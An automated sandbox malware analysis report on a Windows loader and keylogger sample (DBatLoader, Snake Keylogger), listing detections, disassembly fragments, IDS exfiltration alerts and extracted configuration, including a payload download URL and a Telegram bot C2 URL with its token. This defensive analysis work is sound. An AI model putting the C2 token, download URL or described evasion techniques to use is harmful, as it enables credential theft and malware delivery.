Windows Analysis Report
EPTMAcgvNZ.exe

Overview

General Information

Sample name: EPTMAcgvNZ.exe
renamed because original name is a hash value
Original sample name: 059971ff3a7ed8438ae50f1ae60bc161e93c0b32f8a2b3c5a0e56bbfa05d9cd5.exe
Analysis ID: 1562871
MD5: dc614075998696b44ada8a2eed23fc03
SHA1: 911b29ff40b13f6935568153f178867e10946311
SHA256: 059971ff3a7ed8438ae50f1ae60bc161e93c0b32f8a2b3c5a0e56bbfa05d9cd5
Tags: doganalecmdexeuser-JAMESWT_MHT
Infos:

Detection

DBatLoader, PureLog Stealer, Snake Keylogger
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus / Scanner detection for submitted sample
Antivirus detection for dropped file
Detected unpacking (changes PE section rights)
Detected unpacking (overwrites its own PE header)
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Yara detected DBatLoader
Yara detected PureLog Stealer
Yara detected Snake Keylogger
Yara detected Telegram RAT
.NET source code contains method to dynamically call methods (often used by packers)
AI detected suspicious sample
Allocates memory in foreign processes
C2 URLs / IPs found in malware configuration
Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)
Drops PE files to the user root directory
Drops PE files with a suspicious file extension
Drops or copies cmd.exe with a different name (likely to bypass HIPS)
Machine Learning detection for dropped file
Machine Learning detection for sample
Sample uses process hollowing technique
Sigma detected: DLL Search Order Hijackig Via Additional Space in Path
Sigma detected: Execution from Suspicious Folder
Sigma detected: New RUN Key Pointing to Suspicious Folder
Sigma detected: Suspicious Program Location with Network Connections
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Mail credentials (via file / registry access)
Uses the Telegram API (likely for C&C communication)
Writes to foreign memory regions
Yara detected Generic Downloader
AV process strings found (often used to terminate AV products)
Allocates memory with a write watch (potentially for evading sandboxes)
Binary contains a suspicious time stamp
Checks if the current process is being debugged
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to call native functions
Contains functionality to check if a connection to the internet is available
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)
Contains functionality to communicate with device drivers
Contains functionality to dynamically determine API calls
Contains functionality to launch a process as a different user
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Deletes files inside the Windows folder
Detected potential crypto function
Dropped file seen in connection with other malware
Drops PE files
Drops PE files to the user directory
Enables debug privileges
Extensive use of GetProcAddress (often used to hide API calls)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found inlined nop instructions (likely shell or obfuscated code)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May check the online IP address of the machine
May sleep (evasive loops) to hinder dynamic analysis
PE file contains sections with non-standard names
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Sigma detected: CurrentVersion Autorun Keys Modification
Sigma detected: Execution of Suspicious File Type Extension
Suricata IDS alerts with low severity for network traffic
Uses 32bit PE files
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Yara detected Credential Stealer
Yara signature match

Classification

Name Description Attribution Blogpost URLs Link
DBatLoader This Delphi loader misuses Cloud storage services, such as Google Drive to download the Delphi stager component. The Delphi stager has the actual payload embedded as a resource and starts it. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.dbatloader
Name Description Attribution Blogpost URLs Link
404 Keylogger, Snake Keylogger Snake Keylogger (aka 404 Keylogger) is a subscription-based keylogger that has many capabilities. The infostealer can steal a victims sensitive information, log keyboard strokes, take screenshots and extract information from the system clipboard. It was initially released on a Russian hacking forum in August 2019. It is notable for its relatively unusual methods of data exfiltration, including via email, FTP, SMTP, Pastebin or the messaging app Telegram. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.404keylogger

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: EPTMAcgvNZ.exe Avira: detected
Antivirus detection for dropped file
Source: C:\Users\Public\Libraries\Cobsfhiy.PIF Avira: detection malicious, Label: TR/AD.Nekark.pgnqj
Found malware configuration
Source: EPTMAcgvNZ.exe Malware Configuration Extractor: DBatLoader {"Download Url": ["https://bitbucket.org/ntim1478/gpmaw/downloads/240_Cobsfhiygmx"]}
Source: yihfsboC.pif.7240.14.memstrmin Malware Configuration Extractor: Telegram RAT {"C2 url": "https://api.telegram.org/bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendMessage"}
Multi AV Scanner detection for dropped file
Source: C:\Users\Public\Libraries\Cobsfhiy.PIF ReversingLabs: Detection: 63%
Multi AV Scanner detection for submitted file
Source: EPTMAcgvNZ.exe ReversingLabs: Detection: 63%
Source: EPTMAcgvNZ.exe Virustotal: Detection: 71% Perma Link
AI detected suspicious sample
Source: Submited Sample Integrated Neural Analysis Model: Matched 100.0% probability
Machine Learning detection for dropped file
Source: C:\Users\Public\Libraries\Cobsfhiy.PIF Joe Sandbox ML: detected
Machine Learning detection for sample
Source: EPTMAcgvNZ.exe Joe Sandbox ML: detected

Compliance
barindex
Detected unpacking (overwrites its own PE header)
Source: C:\Users\Public\Libraries\yihfsboC.pif Unpacked PE file: 14.2.yihfsboC.pif.400000.5.unpack
Source: C:\Users\Public\Libraries\yihfsboC.pif Unpacked PE file: 23.2.yihfsboC.pif.400000.1.unpack
Source: C:\Users\Public\Libraries\yihfsboC.pif Unpacked PE file: 26.2.yihfsboC.pif.400000.0.unpack
Uses 32bit PE files
Source: EPTMAcgvNZ.exe Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI
Source: unknown HTTPS traffic detected: 185.166.143.48:443 -> 192.168.2.7:49702 version: TLS 1.2
Source: unknown HTTPS traffic detected: 16.182.70.225:443 -> 192.168.2.7:49703 version: TLS 1.2
Source: unknown HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.7:49742 version: TLS 1.2
Source: unknown HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.7:49764 version: TLS 1.2
Source: unknown HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.7:49776 version: TLS 1.2
Source: unknown HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.7:49972 version: TLS 1.2
Source: Binary string: E:\Adlice\Truesight\x64\Release\truesight.pdb source: EPTMAcgvNZ.exe, 00000000.00000002.1413076026.000000007F200000.00000004.00001000.00020000.00000000.sdmp, EPTMAcgvNZ.exe, 00000000.00000003.1326762946.000000007EDA0000.00000004.00001000.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2505613508.00000000008C0000.00000040.00000400.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2505613508.0000000000870000.00000040.00000400.00020000.00000000.sdmp, yihfsboC.pif, 00000017.00000001.1460585249.00000000004F0000.00000040.00000001.00020000.00000000.sdmp, yihfsboC.pif, 0000001A.00000002.2505611445.00000000004F0000.00000040.00000400.00020000.00000000.sdmp
Source: Binary string: easinvoker.pdb source: EPTMAcgvNZ.exe, EPTMAcgvNZ.exe, 00000000.00000002.1396601704.0000000020840000.00000004.00001000.00020000.00000000.sdmp, EPTMAcgvNZ.exe, 00000000.00000002.1372399400.0000000002B3E000.00000004.00001000.00020000.00000000.sdmp, EPTMAcgvNZ.exe, 00000000.00000002.1413076026.000000007F200000.00000004.00001000.00020000.00000000.sdmp, EPTMAcgvNZ.exe, 00000000.00000002.1355304078.0000000002326000.00000004.00001000.00020000.00000000.sdmp, EPTMAcgvNZ.exe, 00000000.00000002.1396601704.00000000207F0000.00000004.00001000.00020000.00000000.sdmp, EPTMAcgvNZ.exe, 00000000.00000003.1252312705.000000007FC90000.00000004.00001000.00020000.00000000.sdmp, EPTMAcgvNZ.exe, 00000000.00000003.1326762946.000000007EDA0000.00000004.00001000.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2505613508.00000000008C0000.00000040.00000400.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2505613508.0000000000870000.00000040.00000400.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2505613508.0000000001160000.00000040.00000400.00020000.00000000.sdmp, yihfsboC.pif, 00000017.00000001.1460585249.00000000004F0000.00000040.00000001.00020000.00000000.sdmp, yihfsboC.pif, 0000001A.00000002.2505611445.00000000004F0000.00000040.00000400.00020000.00000000.sdmp
Source: Binary string: _.pdb source: yihfsboC.pif, 0000000E.00000003.1357241369.0000000024219000.00000004.00000020.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2540746609.0000000027061000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2535779078.0000000025D2B000.00000004.00000020.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2541431650.00000000285A0000.00000004.08000000.00040000.00000000.sdmp, yihfsboC.pif, 00000017.00000003.1465818240.00000000327BE000.00000004.00000020.00020000.00000000.sdmp, yihfsboC.pif, 00000017.00000002.2540455156.000000003429B000.00000004.00000020.00020000.00000000.sdmp, yihfsboC.pif, 00000017.00000002.2546648768.0000000035951000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 00000017.00000002.2541674509.0000000034690000.00000004.08000000.00040000.00000000.sdmp, yihfsboC.pif, 0000001A.00000002.2532622056.000000002859B000.00000004.00000020.00020000.00000000.sdmp, yihfsboC.pif, 0000001A.00000002.2537622019.0000000029911000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 0000001A.00000003.1551837223.00000000268CE000.00000004.00000020.00020000.00000000.sdmp, yihfsboC.pif, 0000001A.00000002.2538166394.000000002AE90000.00000004.08000000.00040000.00000000.sdmp
Source: Binary string: cmd.pdbUGP source: esentutl.exe, 0000000B.00000003.1343597918.0000000005650000.00000004.00001000.00020000.00000000.sdmp, alpha.pif, 00000010.00000002.1408812461.0000000000391000.00000020.00000001.01000000.0000000A.sdmp, alpha.pif, 00000012.00000000.1420522255.0000000000391000.00000020.00000001.01000000.0000000A.sdmp, alpha.pif, 00000013.00000002.1534376052.0000000000391000.00000020.00000001.01000000.0000000A.sdmp, alpha.pif, 0000001B.00000002.1582953816.0000000000391000.00000020.00000001.01000000.0000000A.sdmp, alpha.pif, 0000001C.00000002.1619637523.0000000000391000.00000020.00000001.01000000.0000000A.sdmp, alpha.pif, 0000001D.00000002.1624785769.0000000000391000.00000020.00000001.01000000.0000000A.sdmp, alpha.pif.11.dr
Source: Binary string: ping.pdbGCTL source: esentutl.exe, 0000000F.00000003.1355379307.0000000005960000.00000004.00001000.00020000.00000000.sdmp, xpha.pif, 00000014.00000002.1533195513.0000000000381000.00000020.00000001.01000000.0000000B.sdmp, xpha.pif.15.dr
Source: Binary string: easinvoker.pdbH source: EPTMAcgvNZ.exe, 00000000.00000002.1413076026.000000007F200000.00000004.00001000.00020000.00000000.sdmp, EPTMAcgvNZ.exe, 00000000.00000003.1326762946.000000007EDA0000.00000004.00001000.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2505613508.00000000008C0000.00000040.00000400.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2505613508.0000000000870000.00000040.00000400.00020000.00000000.sdmp, yihfsboC.pif, 00000017.00000001.1460585249.00000000004F0000.00000040.00000001.00020000.00000000.sdmp, yihfsboC.pif, 0000001A.00000002.2505611445.00000000004F0000.00000040.00000400.00020000.00000000.sdmp
Source: Binary string: easinvoker.pdbGCTL source: EPTMAcgvNZ.exe, 00000000.00000002.1396601704.0000000020840000.00000004.00001000.00020000.00000000.sdmp, EPTMAcgvNZ.exe, 00000000.00000003.1347686581.00000000217CE000.00000004.00000020.00020000.00000000.sdmp, EPTMAcgvNZ.exe, 00000000.00000002.1372399400.0000000002B3E000.00000004.00001000.00020000.00000000.sdmp, EPTMAcgvNZ.exe, 00000000.00000003.1347686581.000000002179D000.00000004.00000020.00020000.00000000.sdmp, EPTMAcgvNZ.exe, 00000000.00000002.1355304078.0000000002326000.00000004.00001000.00020000.00000000.sdmp, EPTMAcgvNZ.exe, 00000000.00000002.1396601704.00000000207F0000.00000004.00001000.00020000.00000000.sdmp, EPTMAcgvNZ.exe, 00000000.00000003.1252312705.000000007FC90000.00000004.00001000.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2505613508.0000000001160000.00000040.00000400.00020000.00000000.sdmp
Source: Binary string: cmd.pdb source: alpha.pif, alpha.pif, 00000013.00000002.1534376052.0000000000391000.00000020.00000001.01000000.0000000A.sdmp, alpha.pif, 0000001B.00000002.1582953816.0000000000391000.00000020.00000001.01000000.0000000A.sdmp, alpha.pif, 0000001C.00000002.1619637523.0000000000391000.00000020.00000001.01000000.0000000A.sdmp, alpha.pif, 0000001D.00000002.1624785769.0000000000391000.00000020.00000001.01000000.0000000A.sdmp, alpha.pif.11.dr
Source: Binary string: ping.pdb source: esentutl.exe, 0000000F.00000003.1355379307.0000000005960000.00000004.00001000.00020000.00000000.sdmp, xpha.pif, xpha.pif, 00000014.00000002.1533195513.0000000000381000.00000020.00000001.01000000.0000000B.sdmp, xpha.pif.15.dr
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Code function: 0_2_02B15908 GetModuleHandleA,GetProcAddress,lstrcpynA,lstrcpynA,lstrcpynA,FindFirstFileA,FindClose,lstrlenA,lstrcpynA,lstrlenA,lstrcpynA, 0_2_02B15908
Source: C:\Users\Public\alpha.pif Code function: 16_2_003A0207 FindFirstFileW,FindClose,memcpy,_wcsnicmp,_wcsicmp,memmove, 16_2_003A0207
Source: C:\Users\Public\alpha.pif Code function: 16_2_003A589A FindFirstFileExW,GetLastError,GetProcessHeap,HeapAlloc,GetProcessHeap,HeapReAlloc,FindNextFileW,FindClose,GetLastError,FindClose, 16_2_003A589A
Source: C:\Users\Public\alpha.pif Code function: 16_2_003B3E66 FindFirstFileW,FindNextFileW,FindClose, 16_2_003B3E66
Source: C:\Users\Public\alpha.pif Code function: 16_2_003A4EC1 memset,FindFirstFileW,FindClose,FindFirstFileW,FindNextFileW,FindClose,??_V@YAXPAX@Z,GetLastError,SetFileAttributesW,_wcsnicmp,GetFullPathNameW,SetLastError,GetLastError,SetFileAttributesW, 16_2_003A4EC1
Source: C:\Users\Public\alpha.pif Code function: 16_2_0039532E GetFileAttributesW,GetLastError,FindFirstFileW,GetLastError,FindClose,memset,??_V@YAXPAX@Z,FindNextFileW,??_V@YAXPAX@Z,SetLastError,??_V@YAXPAX@Z,GetLastError,FindClose, 16_2_0039532E
Source: C:\Users\Public\alpha.pif Code function: 19_2_003A589A FindFirstFileExW,GetLastError,GetProcessHeap,HeapAlloc,GetProcessHeap,HeapReAlloc,FindNextFileW,FindClose,GetLastError,FindClose, 19_2_003A589A
Source: C:\Users\Public\alpha.pif Code function: 19_2_003A0207 FindFirstFileW,FindClose,memcpy,_wcsnicmp,_wcsicmp,memmove, 19_2_003A0207
Source: C:\Users\Public\alpha.pif Code function: 19_2_003B3E66 FindFirstFileW,FindNextFileW,FindClose, 19_2_003B3E66
Source: C:\Users\Public\alpha.pif Code function: 19_2_003A4EC1 memset,FindFirstFileW,FindClose,FindFirstFileW,FindNextFileW,FindClose,??_V@YAXPAX@Z,GetLastError,SetFileAttributesW,_wcsnicmp,GetFullPathNameW,SetLastError,GetLastError,SetFileAttributesW, 19_2_003A4EC1
Source: C:\Users\Public\alpha.pif Code function: 19_2_0039532E GetFileAttributesW,GetLastError,FindFirstFileW,GetLastError,FindClose,memset,??_V@YAXPAX@Z,FindNextFileW,??_V@YAXPAX@Z,SetLastError,??_V@YAXPAX@Z,GetLastError,FindClose, 19_2_0039532E
Found inlined nop instructions (likely shell or obfuscated code)
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 4x nop then mov dword ptr [ebp-20h], 00000000h 14_2_2417E158
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 4x nop then jmp 28DFE5E8h 14_2_28DFE1C8
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h 14_2_28DFC0F0
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 4x nop then jmp 2993A56Dh 14_2_2993A1D0
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 4x nop then jmp 2993D975h 14_2_2993D5D8
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 4x nop then jmp 2993B0FDh 14_2_2993AD60
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 4x nop then jmp 2993E505h 14_2_2993E168
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 4x nop then jmp 2993C81Dh 14_2_2993C480
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 4x nop then jmp 2993FC25h 14_2_2993F888
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 4x nop then jmp 2993BC8Dh 14_2_2993B8F0
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 4x nop then jmp 2993F095h 14_2_2993ECF8
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 4x nop then jmp 2993D3ADh 14_2_2993D010
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 4x nop then jmp 299303E3h 14_2_29930040
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 4x nop then jmp 2993AB35h 14_2_2993A798
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 4x nop then jmp 2993DF3Dh 14_2_2993DBA0
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 4x nop then jmp 2993EACDh 14_2_2993E730
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 4x nop then jmp 2993B6C5h 14_2_2993B328
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 4x nop then jmp 2993C255h 14_2_2993BEB8
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 4x nop then jmp 2993F65Dh 14_2_2993F2C0
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 4x nop then jmp 299309ABh 14_2_29930608
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 4x nop then jmp 2993CDE5h 14_2_2993CA48
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 4x nop then jmp 29951535h 14_2_29951198
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 4x nop then jmp 2995A91Dh 14_2_2995A580
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 4x nop then jmp 2995A355h 14_2_29959FB8
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 4x nop then jmp 29950F6Dh 14_2_29950BD0
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 4x nop then jmp 29959795h 14_2_299593F8
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 4x nop then jmp 29959D8Fh 14_2_299599E8
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 4x nop then jmp 29957AADh 14_2_29957710
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 4x nop then jmp 2995B4ADh 14_2_2995B110
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 4x nop then jmp 299574BDh 14_2_29957120
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 4x nop then jmp 2995AEE5h 14_2_2995AB48
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 4x nop then jmp 29951AFDh 14_2_29951760
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 4x nop then jmp 2995863Dh 14_2_299582A0
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 4x nop then jmp 2995C03Dh 14_2_2995BCA0
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 4x nop then jmp 29958075h 14_2_29957CD8
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 4x nop then jmp 2995BA75h 14_2_2995B6D8
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 4x nop then jmp 299509A5h 14_2_29950608
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 4x nop then jmp 299591CDh 14_2_29958E30
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 4x nop then jmp 299503DDh 14_2_29950040
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 4x nop then jmp 29958C05h 14_2_29958868
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 4x nop then jmp 2995C605h 14_2_2995C268
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 4x nop then lea esp, dword ptr [ebp-04h] 14_2_2995501F
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 4x nop then lea esp, dword ptr [ebp-04h] 14_2_29955020
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 4x nop then lea esp, dword ptr [ebp-04h] 14_2_2995542C
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 4x nop then mov ecx, dword ptr [ebp-38h] 14_2_29B5DA65
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 4x nop then mov ecx, dword ptr [ebp-38h] 14_2_29B5D630
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 4x nop then mov dword ptr [ebp-20h], 00000000h 23_2_343DE158
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 4x nop then jmp 36DBE5E8h 23_2_36DBE1C8
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h 23_2_36DBC0F0
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 4x nop then jmp 37FBDF3Dh 23_2_37FBDBA0
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 4x nop then jmp 37FBAB35h 23_2_37FBA798
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 4x nop then jmp 37FBEACDh 23_2_37FBE730
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 4x nop then jmp 37FBB6C5h 23_2_37FBB328
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 4x nop then jmp 37FBF65Dh 23_2_37FBF2C0
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 4x nop then jmp 37FBC255h 23_2_37FBBEB8
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 4x nop then jmp 37FBCDE5h 23_2_37FBCA48
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 4x nop then jmp 37FB09ABh 23_2_37FB0608
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 4x nop then jmp 37FBD975h 23_2_37FBD5D8
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 4x nop then jmp 37FBA56Dh 23_2_37FBA1D0
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 4x nop then jmp 37FBE505h 23_2_37FBE168
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 4x nop then jmp 37FBB0FDh 23_2_37FBAD60
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 4x nop then jmp 37FBF095h 23_2_37FBECF8
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 4x nop then jmp 37FBBC8Dh 23_2_37FBB8F0
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 4x nop then jmp 37FBFC25h 23_2_37FBF888
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 4x nop then jmp 37FBC81Dh 23_2_37FBC480
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 4x nop then jmp 37FB03E3h 23_2_37FB0040
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 4x nop then jmp 37FBD3ADh 23_2_37FBD010
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 4x nop then jmp 37FD9795h 23_2_37FD93F8
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 4x nop then jmp 37FD9D8Fh 23_2_37FD99E8
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 4x nop then jmp 37FD0F6Dh 23_2_37FD0BD0
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 4x nop then jmp 37FDA355h 23_2_37FD9FB8
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 4x nop then jmp 37FD1535h 23_2_37FD1198
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 4x nop then jmp 37FDA91Dh 23_2_37FDA580
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 4x nop then jmp 37FD1AFDh 23_2_37FD1760
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 4x nop then jmp 37FDAEE5h 23_2_37FDAB48
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 4x nop then jmp 37FD74BDh 23_2_37FD7120
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 4x nop then jmp 37FDB4ADh 23_2_37FDB110
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 4x nop then jmp 37FD7AADh 23_2_37FD7710
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 4x nop then jmp 37FDBA75h 23_2_37FDB6D8
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 4x nop then jmp 37FD8075h 23_2_37FD7CD8
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 4x nop then jmp 37FDC03Dh 23_2_37FDBCA0
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 4x nop then jmp 37FD863Dh 23_2_37FD82A0
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 4x nop then jmp 37FD8C05h 23_2_37FD8868
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 4x nop then jmp 37FDC605h 23_2_37FDC268
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 4x nop then jmp 37FD03DDh 23_2_37FD0040
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 4x nop then jmp 37FD91CDh 23_2_37FD8E30
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 4x nop then jmp 37FD09A5h 23_2_37FD0608
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 4x nop then lea esp, dword ptr [ebp-04h] 23_2_37FD5020
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 4x nop then lea esp, dword ptr [ebp-04h] 23_2_37FD5010
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 4x nop then mov ecx, dword ptr [ebp-38h] 23_2_381DDA68
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 4x nop then mov ecx, dword ptr [ebp-38h] 23_2_381DDA67
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 4x nop then lea esp, dword ptr [ebp-04h] 23_2_381D3EFA
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 4x nop then lea esp, dword ptr [ebp-08h] 23_2_382CC4F0

Networking
barindex
Suricata IDS alerts for network traffic
Source: Network traffic Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.7:49791 -> 149.154.167.220:443
Source: Network traffic Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.7:49810 -> 149.154.167.220:443
Source: Network traffic Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.7:49742 -> 149.154.167.220:443
Source: Network traffic Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.7:49817 -> 149.154.167.220:443
Source: Network traffic Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.7:49776 -> 149.154.167.220:443
Source: Network traffic Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.7:49813 -> 149.154.167.220:443
Source: Network traffic Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.7:49847 -> 149.154.167.220:443
Source: Network traffic Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.7:49806 -> 149.154.167.220:443
Source: Network traffic Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.7:49846 -> 149.154.167.220:443
Source: Network traffic Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.7:49775 -> 149.154.167.220:443
Source: Network traffic Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.7:49867 -> 149.154.167.220:443
Source: Network traffic Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.7:49811 -> 149.154.167.220:443
Source: Network traffic Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.7:49764 -> 149.154.167.220:443
Source: Network traffic Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.7:49839 -> 149.154.167.220:443
Source: Network traffic Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.7:49793 -> 149.154.167.220:443
Source: Network traffic Suricata IDS: 2853006 - Severity 1 - ETPRO MALWARE Snake Keylogger Telegram Exfil : 192.168.2.7:49840 -> 149.154.167.220:443
